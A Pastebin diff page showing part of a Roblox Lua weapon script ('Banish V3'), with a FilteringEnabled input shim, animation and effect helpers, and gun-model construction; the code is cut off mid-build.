View difference between Paste ID: ueUNdzHf and AUk5vuig
SHOW: | | - or go back to the newest paste.
1
-- This script has been converted to FE by iPxter
2
3
4
if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
5
local Player,Mouse,mouse,UserInputService,ContextActionService = owner
6
do
7
	print("FE Compatibility code by Mokiros | Translated to FE by iPxter")
8
	script.Parent = Player.Character
9
10
	--RemoteEvent for communicating
11
	local Event = Instance.new("RemoteEvent")
12
	Event.Name = "UserInput_Event"
13
14
	--Fake event to make stuff like Mouse.KeyDown work
15
	local function fakeEvent()
16
		local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end}
17
		t.connect = t.Connect
18
		return t
19
	end
20
21
	--Creating fake input objects with fake variables
22
    local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
23
	local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
24
	local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
25
		CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
26
	end}
27
	--Merged 2 functions into one by checking amount of arguments
28
	CAS.UnbindAction = CAS.BindAction
29
30
	--This function will trigger the events that have been :Connect()'ed
31
	local function te(self,ev,...)
32
		local t = m[ev]
33
		if t and t._fakeEvent and t.Function then
34
			t.Function(...)
35
		end
36
	end
37
	m.TrigEvent = te
38
	UIS.TrigEvent = te
39
40
	Event.OnServerEvent:Connect(function(plr,io)
41
	    if plr~=Player then return end
42
		if io.isMouse then
43
			m.Target = io.Target
44
			m.Hit = io.Hit
45
		else
46
			local b = io.UserInputState == Enum.UserInputState.Begin
47
			if io.UserInputType == Enum.UserInputType.MouseButton1 then
48
				return m:TrigEvent(b and "Button1Down" or "Button1Up")
49
			end
50
			for _,t in pairs(CAS.Actions) do
51
				for _,k in pairs(t.Keys) do
52
					if k==io.KeyCode then
53
						t.Function(t.Name,io.UserInputState,io)
54
					end
55
				end
56
			end
57
			m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
58
			UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
59
	    end
60
	end)
61
	Event.Parent = NLS([==[
62
	local Player = game:GetService("Players").LocalPlayer
63
	local Event = script:WaitForChild("UserInput_Event")
64
65
	local UIS = game:GetService("UserInputService")
66
	local input = function(io,a)
67
		if a then return end
68
		--Since InputObject is a client-side instance, we create and pass table instead
69
		Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState})
70
	end
71
	UIS.InputBegan:Connect(input)
72
	UIS.InputEnded:Connect(input)
73
74
	local Mouse = Player:GetMouse()
75
	local h,t
76
	--Give the server mouse data 30 times every second, but only if the values changed
77
	--If player is not moving their mouse, client won't fire events
78
	while wait(1/30) do
79
		if h~=Mouse.Hit or t~=Mouse.Target then
80
			h,t=Mouse.Hit,Mouse.Target
81
			Event:FireServer({isMouse=true,Target=t,Hit=h})
82
		end
83
	end]==],Player.Character)
84
	Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
85
end
86
87
--//====================================================\\--
88
--||			   CREATED BY SHACKLUSTER
89
--\\====================================================//--
90
91
script:ClearAllChildren()
92
wait(0.2)
93
94
Player = owner
95
PlayerGui = Player.PlayerGui
96
Cam = workspace.CurrentCamera
97
Backpack = Player.Backpack
98
Character = Player.Character
99
Humanoid = Character.Humanoid
100
RootPart = Character["HumanoidRootPart"]
101
Torso = Character["Torso"]
102
Head = Character["Head"]
103
RightArm = Character["Right Arm"]
104
LeftArm = Character["Left Arm"]
105
RightLeg = Character["Right Leg"]
106
LeftLeg = Character["Left Leg"]
107
RootJoint = RootPart["RootJoint"]
108
Neck = Torso["Neck"]
109
RightShoulder = Torso["Right Shoulder"]
110
LeftShoulder = Torso["Left Shoulder"]
111
RightHip = Torso["Right Hip"]
112
LeftHip = Torso["Left Hip"]
113
local TIME = 0
114
local sick = Instance.new("Sound",Torso)
115
116
IT = Instance.new
117
CF = CFrame.new
118
VT = Vector3.new
119
RAD = math.rad
120
C3 = Color3.new
121
UD2 = UDim2.new
122
BRICKC = BrickColor.new
123
ANGLES = CFrame.Angles
124
EULER = CFrame.fromEulerAnglesXYZ
125
COS = math.cos
126
ACOS = math.acos
127
SIN = math.sin
128
ASIN = math.asin
129
ABS = math.abs
130
MRANDOM = math.random
131
FLOOR = math.floor
132
133
--//=================================\\
134
--|| 	      USEFUL VALUES
135
--\\=================================//
136
137
Animation_Speed = 3
138
local FORCERESET = false
139
Frame_Speed = 1 / 60 -- (1 / 30) OR (1 / 60)
140
local Speed = 16
141
local ROOTC0 = CF(0, 0, 0) * ANGLES(RAD(-90), RAD(0), RAD(180))
142
local NECKC0 = CF(0, 1, 0) * ANGLES(RAD(-90), RAD(0), RAD(180))
143
local RIGHTSHOULDERC0 = CF(-0.5, 0, 0) * ANGLES(RAD(0), RAD(90), RAD(0))
144
local LEFTSHOULDERC0 = CF(0.5, 0, 0) * ANGLES(RAD(0), RAD(-90), RAD(0))
145
local DAMAGEMULTIPLIER = 1
146
local ANIM = "Idle"
147
local ATTACK = false
148
local EQUIPPED = false
149
local HOLD = false
150
local COMBO = 1
151
local Rooted = false
152
local SINE = 0
153
local KEYHOLD = false
154
local CHANGE = 2 / Animation_Speed
155
local WALKINGANIM = false
156
local VALUE1 = false
157
local VALUE2 = false
158
local ROBLOXIDLEANIMATION = IT("Animation")
159
ROBLOXIDLEANIMATION.Name = "Roblox Idle Animation"
160
ROBLOXIDLEANIMATION.AnimationId = "http://www.roblox.com/asset/?id=180435571"
161
--ROBLOXIDLEANIMATION.Parent = Humanoid
162
local WEAPONGUI = IT("ScreenGui", PlayerGui)
163
WEAPONGUI.Name = "BanishV3Gui"
164
local Weapon = IT("Model")
165
Weapon.Name = "Adds"
166
local Effects = IT("Folder", Weapon)
167
Effects.Name = "Effects"
168
local ANIMATOR = Humanoid.Animator
169
local ANIMATE = Character:FindFirstChild("Animate")
170
local UNANCHOR = true
171
local TOBANISH = {}
172
script.Parent = PlayerGui
173
174
--//=================================\\
175
--\\=================================//
176
177
178
--//=================================\\
179
--|| SAZERENOS' ARTIFICIAL HEARTBEAT
180
--\\=================================//
181
182
ArtificialHB = Instance.new("BindableEvent", script)
183
ArtificialHB.Name = "ArtificialHB"
184
185
script:WaitForChild("ArtificialHB")
186
187
frame = Frame_Speed
188
tf = 0
189
allowframeloss = false
190
tossremainder = false
191
lastframe = tick()
192
script.ArtificialHB:Fire()
193
194
game:GetService("RunService").Heartbeat:connect(function(s, p)
195
	tf = tf + s
196
	if tf >= frame then
197
		if allowframeloss then
198
			script.ArtificialHB:Fire()
199
			lastframe = tick()
200
		else
201
			for i = 1, math.floor(tf / frame) do
202
				script.ArtificialHB:Fire()
203
			end
204
		lastframe = tick()
205
		end
206
		if tossremainder then
207
			tf = 0
208
		else
209
			tf = tf - frame * math.floor(tf / frame)
210
		end
211
	end
212
end)
213
214
--//=================================\\
215
--\\=================================//
216
217
--//=================================\\
218
--|| 	      SOME FUNCTIONS
219
--\\=================================//
220
221
function Raycast(POSITION, DIRECTION, RANGE, IGNOREDECENDANTS)
222
	return workspace:FindPartOnRay(Ray.new(POSITION, DIRECTION.unit * RANGE), IGNOREDECENDANTS)
223
end
224
225
function PositiveAngle(NUMBER)
226
	if NUMBER >= 0 then
227
		NUMBER = 0
228
	end
229
	return NUMBER
230
end
231
232
function NegativeAngle(NUMBER)
233
	if NUMBER <= 0 then
234
		NUMBER = 0
235
	end
236
	return NUMBER
237
end
238
239
function Swait(NUMBER)
240
	if NUMBER == 0 or NUMBER == nil then
241
		ArtificialHB.Event:wait()
242
	else
243
		for i = 1, NUMBER do
244
			ArtificialHB.Event:wait()
245
		end
246
	end
247
end
248
249
function CreateMesh(MESH, PARENT, MESHTYPE, MESHID, TEXTUREID, SCALE, OFFSET)
250
	local NEWMESH = IT(MESH)
251
	if MESH == "SpecialMesh" then
252
		NEWMESH.MeshType = MESHTYPE
253
		if MESHID ~= "nil" and MESHID ~= "" then
254
			NEWMESH.MeshId = "http://www.roblox.com/asset/?id="..MESHID
255
		end
256
		if TEXTUREID ~= "nil" and TEXTUREID ~= "" then
257
			NEWMESH.TextureId = "http://www.roblox.com/asset/?id="..TEXTUREID
258
		end
259
	end
260
	NEWMESH.Offset = OFFSET or VT(0, 0, 0)
261
	NEWMESH.Scale = SCALE
262
	NEWMESH.Parent = PARENT
263
	return NEWMESH
264
end
265
266
function CreatePart(FORMFACTOR, PARENT, MATERIAL, REFLECTANCE, TRANSPARENCY, BRICKCOLOR, NAME, SIZE, ANCHOR)
267
	local NEWPART = IT("Part")
268
	NEWPART.formFactor = FORMFACTOR
269
	NEWPART.Reflectance = REFLECTANCE
270
	NEWPART.Transparency = TRANSPARENCY
271
	NEWPART.CanCollide = false
272
	NEWPART.Locked = true
273
	NEWPART.Anchored = true
274
	if ANCHOR == false then
275
		NEWPART.Anchored = false
276
	end
277
	NEWPART.BrickColor = BRICKC(tostring(BRICKCOLOR))
278
	NEWPART.Name = NAME
279
	NEWPART.Size = SIZE
280
	NEWPART.Position = Torso.Position
281
	NEWPART.Material = MATERIAL
282
	NEWPART:BreakJoints()
283
	NEWPART.Parent = PARENT
284
	return NEWPART
285
end
286
287
	local function weldBetween(a, b)
288
	    local weldd = Instance.new("ManualWeld")
289
	    weldd.Part0 = a
290
	    weldd.Part1 = b
291
	    weldd.C0 = CFrame.new()
292
	    weldd.C1 = b.CFrame:inverse() * a.CFrame
293
	    weldd.Parent = a
294
	    return weldd
295
	end
296
297
298
function QuaternionFromCFrame(cf)
299
	local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
300
	local trace = m00 + m11 + m22
301
	if trace > 0 then 
302
		local s = math.sqrt(1 + trace)
303
		local recip = 0.5 / s
304
		return (m21 - m12) * recip, (m02 - m20) * recip, (m10 - m01) * recip, s * 0.5
305
	else
306
		local i = 0
307
		if m11 > m00 then
308
			i = 1
309
		end
310
		if m22 > (i == 0 and m00 or m11) then
311
			i = 2
312
		end
313
		if i == 0 then
314
			local s = math.sqrt(m00 - m11 - m22 + 1)
315
			local recip = 0.5 / s
316
			return 0.5 * s, (m10 + m01) * recip, (m20 + m02) * recip, (m21 - m12) * recip
317
		elseif i == 1 then
318
			local s = math.sqrt(m11 - m22 - m00 + 1)
319
			local recip = 0.5 / s
320
			return (m01 + m10) * recip, 0.5 * s, (m21 + m12) * recip, (m02 - m20) * recip
321
		elseif i == 2 then
322
			local s = math.sqrt(m22 - m00 - m11 + 1)
323
			local recip = 0.5 / s return (m02 + m20) * recip, (m12 + m21) * recip, 0.5 * s, (m10 - m01) * recip
324
		end
325
	end
326
end
327
 
328
function QuaternionToCFrame(px, py, pz, x, y, z, w)
329
	local xs, ys, zs = x + x, y + y, z + z
330
	local wx, wy, wz = w * xs, w * ys, w * zs
331
	local xx = x * xs
332
	local xy = x * ys
333
	local xz = x * zs
334
	local yy = y * ys
335
	local yz = y * zs
336
	local zz = z * zs
337
	return CFrame.new(px, py, pz, 1 - (yy + zz), xy - wz, xz + wy, xy + wz, 1 - (xx + zz), yz - wx, xz - wy, yz + wx, 1 - (xx + yy))
338
end
339
 
340
function QuaternionSlerp(a, b, t)
341
	local cosTheta = a[1] * b[1] + a[2] * b[2] + a[3] * b[3] + a[4] * b[4]
342
	local startInterp, finishInterp;
343
	if cosTheta >= 0.0001 then
344
		if (1 - cosTheta) > 0.0001 then
345
			local theta = ACOS(cosTheta)
346
			local invSinTheta = 1 / SIN(theta)
347
			startInterp = SIN((1 - t) * theta) * invSinTheta
348
			finishInterp = SIN(t * theta) * invSinTheta
349
		else
350
			startInterp = 1 - t
351
			finishInterp = t
352
		end
353
	else
354
		if (1 + cosTheta) > 0.0001 then
355
			local theta = ACOS(-cosTheta)
356
			local invSinTheta = 1 / SIN(theta)
357
			startInterp = SIN((t - 1) * theta) * invSinTheta
358
			finishInterp = SIN(t * theta) * invSinTheta
359
		else
360
			startInterp = t - 1
361
			finishInterp = t
362
		end
363
	end
364
	return a[1] * startInterp + b[1] * finishInterp, a[2] * startInterp + b[2] * finishInterp, a[3] * startInterp + b[3] * finishInterp, a[4] * startInterp + b[4] * finishInterp
365
end
366
367
function Clerp(a, b, t)
368
	local qa = {QuaternionFromCFrame(a)}
369
	local qb = {QuaternionFromCFrame(b)}
370
	local ax, ay, az = a.x, a.y, a.z
371
	local bx, by, bz = b.x, b.y, b.z
372
	local _t = 1 - t
373
	return QuaternionToCFrame(_t * ax + t * bx, _t * ay + t * by, _t * az + t * bz, QuaternionSlerp(qa, qb, t))
374
end
375
376
function CreateFrame(PARENT, TRANSPARENCY, BORDERSIZEPIXEL, POSITION, SIZE, COLOR, BORDERCOLOR, NAME)
377
	local frame = IT("Frame")
378
	frame.BackgroundTransparency = TRANSPARENCY
379
	frame.BorderSizePixel = BORDERSIZEPIXEL
380
	frame.Position = POSITION
381
	frame.Size = SIZE
382
	frame.BackgroundColor3 = COLOR
383
	frame.BorderColor3 = BORDERCOLOR
384
	frame.Name = NAME
385
	frame.Parent = PARENT
386
	return frame
387
end
388
389
function CreateLabel(PARENT, TEXT, TEXTCOLOR, TEXTFONTSIZE, TEXTFONT, TRANSPARENCY, BORDERSIZEPIXEL, STROKETRANSPARENCY, NAME)
390
	local label = IT("TextLabel")
391
	label.BackgroundTransparency = 1
392
	label.Size = UD2(1, 0, 1, 0)
393
	label.Position = UD2(0, 0, 0, 0)
394
	label.TextColor3 = TEXTCOLOR
395
	label.TextStrokeTransparency = STROKETRANSPARENCY
396
	label.TextTransparency = TRANSPARENCY
397
	label.FontSize = TEXTFONTSIZE
398
	label.Font = TEXTFONT
399
	label.BorderSizePixel = BORDERSIZEPIXEL
400
	label.TextScaled = false
401
	label.Text = TEXT
402
	label.Name = NAME
403
	label.Parent = PARENT
404
	return label
405
end
406
407
function NoOutlines(PART)
408
	PART.TopSurface, PART.BottomSurface, PART.LeftSurface, PART.RightSurface, PART.FrontSurface, PART.BackSurface = 10, 10, 10, 10, 10, 10
409
end
410
411
function CreateWeldOrSnapOrMotor(TYPE, PARENT, PART0, PART1, C0, C1)
412
	local NEWWELD = IT(TYPE)
413
	NEWWELD.Part0 = PART0
414
	NEWWELD.Part1 = PART1
415
	NEWWELD.C0 = C0
416
	NEWWELD.C1 = C1
417
	NEWWELD.Parent = PARENT
418
	return NEWWELD
419
end
420
421
local S = IT("Sound")
422
function CreateSound(ID, PARENT, VOLUME, PITCH, DOESLOOP)
423
	local NEWSOUND = nil
424
	coroutine.resume(coroutine.create(function()
425
		NEWSOUND = S:Clone()
426
		NEWSOUND.Parent = PARENT
427
		NEWSOUND.Volume = VOLUME
428
		NEWSOUND.Pitch = PITCH
429
		NEWSOUND.SoundId = "http://www.roblox.com/asset/?id="..ID
430
		NEWSOUND:play()
431
		if DOESLOOP == true then
432
			NEWSOUND.Looped = true
433
		else
434
			repeat wait(1) until NEWSOUND.Playing == false or NEWSOUND.Parent ~= PARENT
435
			NEWSOUND:remove()
436
		end
437
	end))
438
	return NEWSOUND
439
end
440
441
function CFrameFromTopBack(at, top, back)
442
	local right = top:Cross(back)
443
	return CF(at.x, at.y, at.z, right.x, top.x, back.x, right.y, top.y, back.y, right.z, top.z, back.z)
444
end
445
446
--WACKYEFFECT({EffectType = "", Size = VT(1,1,1), Size2 = VT(0,0,0), Transparency = 0, Transparency2 = 1, CFrame = CF(), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,1,1), SoundID = nil, SoundPitch = nil, SoundVolume = nil})
447
function WACKYEFFECT(Table)
448
	local TYPE = (Table.EffectType or "Sphere")
449
	local SIZE = (Table.Size or VT(1,1,1))
450
	local ENDSIZE = (Table.Size2 or VT(0,0,0))
451
	local TRANSPARENCY = (Table.Transparency or 0)
452
	local ENDTRANSPARENCY = (Table.Transparency2 or 1)
453
	local CFRAME = (Table.CFrame or Torso.CFrame)
454
	local MOVEDIRECTION = (Table.MoveToPos or nil)
455
	local ROTATION1 = (Table.RotationX or 0)
456
	local ROTATION2 = (Table.RotationY or 0)
457
	local ROTATION3 = (Table.RotationZ or 0)
458
	local MATERIAL = (Table.Material or "Neon")
459
	local COLOR = (Table.Color or C3(1,1,1))
460
	local TIME = (Table.Time or 45)
461
	local SOUNDID = (Table.SoundID or nil)
462
	local SOUNDPITCH = (Table.SoundPitch or nil)
463
	local SOUNDVOLUME = (Table.SoundVolume or nil)
464
	coroutine.resume(coroutine.create(function()
465
		local PLAYSSOUND = false
466
		local SOUND = nil
467
		local EFFECT = CreatePart(3, Effects, MATERIAL, 0, TRANSPARENCY, BRICKC("Pearl"), "Effect", VT(1,1,1), true)
468
		if SOUNDID ~= nil and SOUNDPITCH ~= nil and SOUNDVOLUME ~= nil then
469
			PLAYSSOUND = true
470
			SOUND = CreateSound(SOUNDID, EFFECT, SOUNDVOLUME, SOUNDPITCH, false)
471
		end
472
		EFFECT.Color = COLOR
473
		local MSH = nil
474
		if TYPE == "Sphere" then
475
			MSH = CreateMesh("SpecialMesh", EFFECT, "Sphere", "", "", SIZE, VT(0,0,0))
476
		elseif TYPE == "Block" then
477
			MSH = IT("BlockMesh",EFFECT)
478
			MSH.Scale = VT(SIZE.X,SIZE.X,SIZE.X)
479
		elseif TYPE == "Wave" then
480
			MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "20329976", "", SIZE, VT(0,0,-SIZE.X/8))
481
		elseif TYPE == "Ring" then
482
			MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "559831844", "", VT(SIZE.X,SIZE.X,0.1), VT(0,0,0))
483
		elseif TYPE == "Slash" then
484
			MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662586858", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0))
485
		elseif TYPE == "Round Slash" then
486
			MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662585058", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0))
487
		elseif TYPE == "Swirl" then
488
			MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "1051557", "", SIZE, VT(0,0,0))
489
		elseif TYPE == "Skull" then
490
			MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "4770583", "", SIZE, VT(0,0,0))
491
		elseif TYPE == "Crystal" then
492
			MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "9756362", "", SIZE, VT(0,0,0))
493
		end
494
		if MSH ~= nil then
495
			local MOVESPEED = nil
496
			if MOVEDIRECTION ~= nil then
497
				MOVESPEED = (CFRAME.p - MOVEDIRECTION).Magnitude/TIME
498
			end
499
			local GROWTH = SIZE - ENDSIZE
500
			local TRANS = TRANSPARENCY - ENDTRANSPARENCY
501
			if TYPE == "Block" then
502
				EFFECT.CFrame = CFRAME*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)))
503
			else
504
				EFFECT.CFrame = CFRAME
505
			end
506
			for LOOP = 1, TIME+1 do
507
				Swait()
508
				MSH.Scale = MSH.Scale - GROWTH/TIME
509
				if TYPE == "Wave" then
510
					MSH.Offset = VT(0,0,-MSH.Scale.X/8)
511
				end
512
				EFFECT.Transparency = EFFECT.Transparency - TRANS/TIME
513
				if TYPE == "Block" then
514
					EFFECT.CFrame = CFRAME*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)))
515
				else
516
					EFFECT.CFrame = EFFECT.CFrame*ANGLES(RAD(ROTATION1),RAD(ROTATION2),RAD(ROTATION3))
517
				end
518
				if MOVEDIRECTION ~= nil then
519
					local ORI = EFFECT.Orientation
520
					EFFECT.CFrame = CF(EFFECT.Position,MOVEDIRECTION)*CF(0,0,-MOVESPEED)
521
					EFFECT.Orientation = ORI
522
				end
523
			end
524
			if PLAYSSOUND == false then
525
				EFFECT:remove()
526
			else
527
				SOUND.Stopped:Connect(function()
528
					EFFECT:remove()
529
				end)
530
			end
531
		else
532
			if PLAYSSOUND == false then
533
				EFFECT:remove()
534
			else
535
				repeat Swait() until SOUND.Playing == false
536
				EFFECT:remove()
537
			end
538
		end
539
	end))
540
end
541
542
function MakeForm(PART,TYPE)
543
	if TYPE == "Cyl" then
544
		local MSH = IT("CylinderMesh",PART)
545
	elseif TYPE == "Ball" then
546
		local MSH = IT("SpecialMesh",PART)
547
		MSH.MeshType = "Sphere"
548
	elseif TYPE == "Wedge" then
549
		local MSH = IT("SpecialMesh",PART)
550
		MSH.MeshType = "Wedge"
551
	end
552
end
553
554
function SpawnTrail(FROM,TO,BIG)
555
	local TRAIL = CreatePart(3, Effects, "Neon", 0, 0.5, "Really red", "Trail", VT(0,0,0))
556
	MakeForm(TRAIL,"Cyl")
557
	local DIST = (FROM - TO).Magnitude
558
	if BIG == true then
559
		TRAIL.Size = VT(0.5,DIST,0.5)
560
	else
561
		TRAIL.Size = VT(0.25,DIST,0.25)
562
	end
563
	TRAIL.CFrame = CF(FROM, TO) * CF(0, 0, -DIST/2) * ANGLES(RAD(90),RAD(0),RAD(0))
564
	coroutine.resume(coroutine.create(function()
565
		for i = 1, 5 do
566
			Swait()
567
			TRAIL.Transparency = TRAIL.Transparency + 0.1
568
		end
569
		TRAIL:remove()
570
	end))
571
end
572
573
Debris = game:GetService("Debris")
574
575
function CastProperRay(StartPos, EndPos, Distance, Ignore)
576
	local DIRECTION = CF(StartPos,EndPos).lookVector
577
	return Raycast(StartPos, DIRECTION, Distance, Ignore)
578
end
579
580
function turnto(position)
581
	RootPart.CFrame=CFrame.new(RootPart.CFrame.p,VT(position.X,RootPart.Position.Y,position.Z)) * CFrame.new(0, 0, 0)
582
end
583
584
--//=================================\\
585
--||	     WEAPON CREATION
586
--\\=================================//
587
588
local Particle = IT("ParticleEmitter",nil)
589
Particle.Enabled = false
590
Particle.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0.3),NumberSequenceKeypoint.new(0.3,0),NumberSequenceKeypoint.new(1,1)})
591
Particle.LightEmission = 0.5
592
Particle.Rate = 150
593
Particle.ZOffset = 0.2
594
Particle.Rotation = NumberRange.new(-180, 180)
595
Particle.RotSpeed = NumberRange.new(-180, 180)
596
Particle.Texture = "http://www.roblox.com/asset/?id=304437537"
597
Particle.Color = ColorSequence.new(C3(1,0,0),C3(0.4,0,0))
598
599
--ParticleEmitter({Speed = 5, Drag = 0, Size1 = 1, Size2 = 5, Lifetime1 = 1, Lifetime2 = 1.5, Parent = Torso, Emit = 100, Offset = 360, Enabled = false})
600
function ParticleEmitter(Table)
601
	local PRTCL = Particle:Clone()
602
	local Speed = Table.Speed or 5
603
	local Drag = Table.Drag or 0
604
	local Size1 = Table.Size1 or 1
605
	local Size2 = Table.Size2 or 5
606
	local Lifetime1 = Table.Lifetime1 or 1
607
	local Lifetime2 = Table.Lifetime2 or 1.5
608
	local Parent = Table.Parent or Torso
609
	local Emit = Table.Emit or 100
610
	local Offset = Table.Offset or 360
611
	local Acel = Table.Acel or VT(0,0,0)
612
	local Enabled = Table.Enabled or false
613
	PRTCL.Parent = Parent
614
	PRTCL.Size = NumberSequence.new(Size1,Size2)
615
	PRTCL.Lifetime = NumberRange.new(Lifetime1,Lifetime2)
616
	PRTCL.Speed = NumberRange.new(Speed)
617
	PRTCL.VelocitySpread = Offset
618
	PRTCL.Drag = Drag
619
	PRTCL.Acceleration = Acel
620
	if Enabled == false then
621
		PRTCL:Emit(Emit)
622
		Debris:AddItem(PRTCL,Lifetime2)
623
	else
624
		PRTCL.Enabled = true
625
	end
626
	return PRTCL
627
end
628
629
local Handle = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.2,0.6,0.2),false)
630
local RightArmGrasp = CreateWeldOrSnapOrMotor("Weld", Handle, RightArm, Handle, CF(0,-1, 0) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0.21, 0))
631
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.2,0.5,0.2),false)
632
MakeForm(Part,"Wedge")
633
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.3, 0.2) * ANGLES(RAD(0), RAD(180), RAD(0)), CF(0, 0, 0))
634
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.2,0.3,0.2),false)
635
MakeForm(Part,"Wedge")
636
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.4, 0) * ANGLES(RAD(0), RAD(0), RAD(180)), CF(0, 0, 0))
637
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.3,0.3,0.3),false)
638
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.5, 0.2) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0))
639
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.3,0.5,0.5),false)
640
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.5) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0))
641
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.4,0.4,0.4),false)
642
MakeForm(Part,"Cyl")
643
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.5) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
644
for i = 1, 8 do
645
	local Piece = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Eye", VT(0,0.35,0.41),false)
646
	CreateWeldOrSnapOrMotor("Weld", Handle, Part, Piece, CF(0, 0, 0) * ANGLES(RAD(0), RAD((360/8)*i), RAD(0)), CF(0, 0, 0))
647
end
648
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Eye", VT(0.38,0.41,0.38),false)
649
MakeForm(Part,"Cyl")
650
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.5) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
651
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.37,0.5,0.37),false)
652
MakeForm(Part,"Ball")
653
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.3) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
654
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.2,0.7,0.4),false)
655
MakeForm(Part,"Wedge")
656
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.7, 0.5) * ANGLES(RAD(90), RAD(180), RAD(180)), CF(0, 0, 0))
657
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.3,0.4,0.2),false)
658
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.7) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0))
659
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.35,0.35,0.35),false)
660
MakeForm(Part,"Cyl")
661
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.7) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
662
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.5,0.1,0.5),false)
663
MakeForm(Part,"Cyl")
664
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 1) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
665
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.5,0.1,0.45),false)
666
MakeForm(Part,"Cyl")
667
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 1.1) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
668
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.2,0.5,0.2),false)
669
MakeForm(Part,"Wedge")
670
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.55, 0.2) * ANGLES(RAD(-135), RAD(0), RAD(0)), CF(0, -0.3, 0))
671
local LASTPART = Handle
672
for i = 1, 10 do
673
	if LASTPART == Handle then
674
		local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.1,0.2,0),false)
675
		LASTPART = Part
676
		CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.1, 0.2) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
677
	else
678
		local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.1,0.05,0),false)
679
		CreateWeldOrSnapOrMotor("Weld", Handle, LASTPART, Part, CF(0, 0.025, 0) * ANGLES(RAD(8), RAD(0), RAD(0)), CF(0, -0.025, 0))
680
		LASTPART = Part
681
	end
682
end
683
684
local Barrel = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.15,2,0.15),false)
685
MakeForm(Barrel,"Cyl")
686
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Barrel, CF(0, -0.6, 1.8) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
687
local Part = CreatePart(3, Weapon, "Metal", 0, 0, "Mid gray", "Part", VT(0.25,1,0.25),false)
688
MakeForm(Part,"Cyl")
689
